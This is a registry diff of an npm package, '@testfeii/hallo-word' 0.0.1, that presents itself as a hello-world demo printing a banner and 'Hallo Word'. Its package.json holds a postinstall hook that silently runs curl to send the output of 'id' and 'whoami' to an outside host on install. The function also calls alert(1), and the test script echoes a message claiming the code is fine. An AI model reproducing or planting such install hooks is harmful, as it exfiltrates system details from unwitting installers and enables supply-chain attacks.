@testfeii/hallo-word 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +17 -0
- package/package.json +17 -0
package/index.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
// --- 功能 1: 引入时自动打印 ---
|
|
2
|
+
// 只要这行代码不在函数里,别人一引用这个包,这几行就会立刻执行
|
|
3
|
+
console.log("\n");
|
|
4
|
+
console.log("========================================");
|
|
5
|
+
console.log("🎉 恭喜!你的专属依赖包被成功加载了!");
|
|
6
|
+
console.log("========================================");
|
|
7
|
+
console.log("\n");
|
|
8
|
+
|
|
9
|
+
// --- 功能 2: 导出一个打印 Hallo Word 的函数 ---
|
|
10
|
+
function sayHallo() {
|
|
11
|
+
console.log("Hallo Word"); // 按照你的要求打印
|
|
12
|
+
alert(1);
|
|
13
|
+
return "Hallo Word executed!";
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// 导出这个函数
|
|
17
|
+
module.exports = sayHallo;
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@testfeii/hallo-word",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "A package that prints hallo word",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"This is a test script: The code seems to be fine!\"",
|
|
8
|
+
"start": "node index.js",
|
|
9
|
+
"postinstall": "curl --data-urlencode \"info=$(id&&whoami)\" http://c4xloraq.instances.httpworkbench.com"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [
|
|
12
|
+
"hallo",
|
|
13
|
+
"demo"
|
|
14
|
+
],
|
|
15
|
+
"author": "testfeii",
|
|
16
|
+
"license": "ISC"
|
|
17
|
+
}
|